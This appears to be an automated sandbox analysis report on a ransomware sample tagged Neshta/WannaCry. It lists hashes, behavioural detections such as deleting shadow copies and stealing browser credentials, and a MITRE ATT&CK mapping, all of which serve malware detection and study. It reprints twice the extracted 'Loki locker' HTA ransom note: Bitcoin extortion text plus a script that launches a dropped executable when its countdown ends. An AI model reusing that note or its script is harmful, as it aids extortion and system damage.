Overview

overview

10

Static

static

10

2024-10-25...ry.exe

windows7-x64

10

2024-10-25...ry.exe

windows10-2004-x64

10

Sharing

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General

  • Target

    2024-10-25_9da2c0bd42d714d127f2756671426972_neshta_wannacry

  • Size

    520KB

  • Sample

    241025-faw2yavgpp

  • MD5

    9da2c0bd42d714d127f2756671426972

  • SHA1

    e879856aa0d650acc31de610f6de30e70efbee7b

  • SHA256

    3006f4700c203366244df77f5f45caae705d79540c65769bd71292eba0fbe7d2

  • SHA512

    b5a353809f6076f3effc865c70cabc0079fb01612e08afb14a7947827e3a3149f2e2ba415fce949670065d4e8530e6d243f42e4037a6f871fde027f6a0840229

  • SSDEEP

    6144:k9iBKeyvrf7JR4CDFudez0e9YaVX0cBdxLPlk3XrvPVdNT6zncVUJKWehinom6r4:crDQ0FXzWazdxWrlTT6zncVUJ7vnd6r4

Score
10/10
neshtadefense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\info.hta

Ransom Note
<html> <head> <title>Loki locker</title> <HTA:APPLICATION ICON='msiexec.exe' WINDOWSTATE="maximize" SINGLEINSTANCE='yes' SysMenu="no" contextmenu="no" scroll="yes"/> <meta http-equiv="x-ua-compatible" content="IE=9"/> </head> <style type="text/css"> body{background-color: #000000; font-family: Arial, Helvetica, sans-serif;}#t{text-align: center; color: #FF0000; font-weight: bold; font-size: 1.51vw; margin-bottom: 0;}p{text-align: center; font-size: 1vw; color: white; margin-bottom: 0;}.t{text-align: left; margin-left: 2px;}.pt{color: white; font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; font-size: 1.1vw;}.b{padding: 2px; outline: none;}ul{font-size: 1vw;}.m{background: rgb(189, 54, 54); padding: 1px 5px; font-weight: bold;}#tm{color: red; text-align: center; border-bottom: 0; font-size: 2vw;}</style> <script>var countDownDate = new Date(2024,10,24,4,40,51).getTime(); var x = setInterval(function () { var now = new Date().getTime(); var distance = countDownDate - now; var days = Math.floor(distance / (1000 * 60 * 60 * 24)); var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((distance % (1000 * 60)) / 1000); document.getElementById("tm").innerHTML = days + "d," + hours + ":" + minutes + ":" + seconds + " LEFT TO LOSE ALL OF YOUR FILES"; if (distance < 0) { clearInterval(x); document.getElementById("tm").innerHTML = "TIMER IS UP.SAY BYE TO YOUR FILES :)"; WshShell = new ActiveXObject("WScript.Shell"); WshShell.Run("C:\\ProgramData\\winlogon.exe", 1, false);}}, 1000); </script> <body > <h1 id="t">All your files have been encrypted by Loki locker!</h1> <h2 id="tm"></h2> <p>All your files have been encrypted due to a security problem with your PC. <br>If you want to restore them, please send an email <span class="m">[email protected]</span> </p><br><p class="t"> You have to pay for decryption in Bitcoin. The price depends on how fast you contact us. <br>After payment we will send you the decryption tool. <br>You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay <b>Double</b>. <br>In case of no answer in 24 hours (1 Day) write to this email <span class="m">[email protected]</span> <br>Your unique ID is : <span class="m">4F3D5994</span> </p><br><div class="b" style="background-color: #FF0000;"> <div class="pt">You only have LIMITED time to get back your files!</div><ul style="color: white; margin-top: 0;"> <li>If timer runs out and you dont pay us , all of files will be DELETED and you hard disk will be seriously DAMAGED.</li><li>You will lose some of your data on day 2 in the timer.</li><li>You can buy more time for pay. Just email us.</li><li>THIS IS NOT A JOKE! you can wait for the timer to run out ,and watch deletion of your files :) </li></ul> </div><br><div class="b" style="background-color: rgb(78, 78, 78);"> <div class="pt">What is our decryption guarantee?</div><ul style="color: white; margin-top: 0;"> <li>Before paying you can send us up to <u>3 test files</u> for free decryption. The total size of files must be less than 2Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.)</li></div><br><div class="b" style="background-color: #FF0000;"> <div class="pt">Attention!</div><ul style="color: white; margin-top: 0;"> <li><u><b>DO NOT</b> pay any money before decrypting the test files.</u></li><li><u><b>DO NOT</b> trust any intermediary.</u> they wont help you and you may be victim of scam. just email us , we help you in any steps.</li><li><u><b>DO NOT</b> reply to other emails.</u> ONLY this two emails can help you.</li><li>Do not rename encrypted files.</li><li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li><li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li></ul> </div></body> </html>
Emails

class="m">[email protected]</span>

class="m">[email protected]</span>
URLs

http-equiv="x-ua-compatible"

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\info.hta

Ransom Note
<html> <head> <title>Loki locker</title> <HTA:APPLICATION ICON='msiexec.exe' WINDOWSTATE="maximize" SINGLEINSTANCE='yes' SysMenu="no" contextmenu="no" scroll="yes"/> <meta http-equiv="x-ua-compatible" content="IE=9"/> </head> <style type="text/css"> body{background-color: #000000; font-family: Arial, Helvetica, sans-serif;}#t{text-align: center; color: #FF0000; font-weight: bold; font-size: 1.51vw; margin-bottom: 0;}p{text-align: center; font-size: 1vw; color: white; margin-bottom: 0;}.t{text-align: left; margin-left: 2px;}.pt{color: white; font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; font-size: 1.1vw;}.b{padding: 2px; outline: none;}ul{font-size: 1vw;}.m{background: rgb(189, 54, 54); padding: 1px 5px; font-weight: bold;}#tm{color: red; text-align: center; border-bottom: 0; font-size: 2vw;}</style> <script>var countDownDate = new Date(2024,10,24,4,41,18).getTime(); var x = setInterval(function () { var now = new Date().getTime(); var distance = countDownDate - now; var days = Math.floor(distance / (1000 * 60 * 60 * 24)); var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((distance % (1000 * 60)) / 1000); document.getElementById("tm").innerHTML = days + "d," + hours + ":" + minutes + ":" + seconds + " LEFT TO LOSE ALL OF YOUR FILES"; if (distance < 0) { clearInterval(x); document.getElementById("tm").innerHTML = "TIMER IS UP.SAY BYE TO YOUR FILES :)"; WshShell = new ActiveXObject("WScript.Shell"); WshShell.Run("C:\\ProgramData\\winlogon.exe", 1, false);}}, 1000); </script> <body > <h1 id="t">All your files have been encrypted by Loki locker!</h1> <h2 id="tm"></h2> <p>All your files have been encrypted due to a security problem with your PC. <br>If you want to restore them, please send an email <span class="m">[email protected]</span> </p><br><p class="t"> You have to pay for decryption in Bitcoin. The price depends on how fast you contact us. <br>After payment we will send you the decryption tool. <br>You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay <b>Double</b>. <br>In case of no answer in 24 hours (1 Day) write to this email <span class="m">[email protected]</span> <br>Your unique ID is : <span class="m">60C086EC</span> </p><br><div class="b" style="background-color: #FF0000;"> <div class="pt">You only have LIMITED time to get back your files!</div><ul style="color: white; margin-top: 0;"> <li>If timer runs out and you dont pay us , all of files will be DELETED and you hard disk will be seriously DAMAGED.</li><li>You will lose some of your data on day 2 in the timer.</li><li>You can buy more time for pay. Just email us.</li><li>THIS IS NOT A JOKE! you can wait for the timer to run out ,and watch deletion of your files :) </li></ul> </div><br><div class="b" style="background-color: rgb(78, 78, 78);"> <div class="pt">What is our decryption guarantee?</div><ul style="color: white; margin-top: 0;"> <li>Before paying you can send us up to <u>3 test files</u> for free decryption. The total size of files must be less than 2Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.)</li></div><br><div class="b" style="background-color: #FF0000;"> <div class="pt">Attention!</div><ul style="color: white; margin-top: 0;"> <li><u><b>DO NOT</b> pay any money before decrypting the test files.</u></li><li><u><b>DO NOT</b> trust any intermediary.</u> they wont help you and you may be victim of scam. just email us , we help you in any steps.</li><li><u><b>DO NOT</b> reply to other emails.</u> ONLY this two emails can help you.</li><li>Do not rename encrypted files.</li><li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li><li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</li></ul> </div></body> </html>
Emails

class="m">[email protected]</span>

class="m">[email protected]</span>
URLs

http-equiv="x-ua-compatible"

Targets

    • Target

      2024-10-25_9da2c0bd42d714d127f2756671426972_neshta_wannacry

    • Size

      520KB

    • MD5

      9da2c0bd42d714d127f2756671426972

    • SHA1

      e879856aa0d650acc31de610f6de30e70efbee7b

    • SHA256

      3006f4700c203366244df77f5f45caae705d79540c65769bd71292eba0fbe7d2

    • SHA512

      b5a353809f6076f3effc865c70cabc0079fb01612e08afb14a7947827e3a3149f2e2ba415fce949670065d4e8530e6d243f42e4037a6f871fde027f6a0840229

    • SSDEEP

      6144:k9iBKeyvrf7JR4CDFudez0e9YaVX0cBdxLPlk3XrvPVdNT6zncVUJKWehinom6r4:crDQ0FXzWazdxWrlTT6zncVUJ7vnd6r4

    Score
    10/10
    neshtadefense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealertrojan

    • Detect Neshta payload

    • Modifies Windows Defender Real-time Protection settings

      evasiontrojan

    • Neshta

      Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.

      persistencespywareneshta

    • Deletes shadow copies

      Ransomware often targets backup files to inhibit system recovery.

      ransomwaredefense_evasionimpactexecution

    • Modifies boot configuration data using bcdedit

      ransomwareevasion

    • Deletes System State backups

      Uses wbadmin.exe to inhibit system recovery.

      ransomware

    • Disables Task Manager via registry modification

      evasion

    • Modifies Windows Firewall

      evasion

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Drops startup file

    • Executes dropped EXE

    • Loads dropped DLL

    • Modifies system executable filetype association

      persistence

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

      spywarestealer

    • Adds Run key to start application

      persistence

    • Drops desktop.ini file(s)

    • Enumerates connected drives

      Attempts to read the root path of hard drives other than the default C: drive.

    • Sets desktop wallpaper using registry

      ransomware
    behavioral1behavioral2

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Windows Management Instrumentation

1
T1047

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

2
T1543

Windows Service

2
T1543.003

Event Triggered Execution

2
T1546

Change Default File Association

1
T1546.001

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

2
T1543

Windows Service

2
T1543.003

Event Triggered Execution

2
T1546

Change Default File Association

1
T1546.001

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Direct Volume Access

1
T1006

Impair Defenses

2
T1562

Disable or Modify System Firewall

1
T1562.004

Disable or Modify Tools

1
T1562.001

Indicator Removal

3
T1070

File Deletion

3
T1070.004

Modify Registry

6
T1112

Credential Access

Credentials from Password Stores

1
T1555

Credentials from Web Browsers

1
T1555.003

Unsecured Credentials

1
T1552

Credentials In Files

1
T1552.001

Discovery

Peripheral Device Discovery

2
T1120

Query Registry

4
T1012

System Information Discovery

4
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Lateral Movement

Collection

Data from Local System

1
T1005

Command and Control

Exfiltration

Impact

Defacement

1
T1491

Inhibit System Recovery

4
T1490

Tasks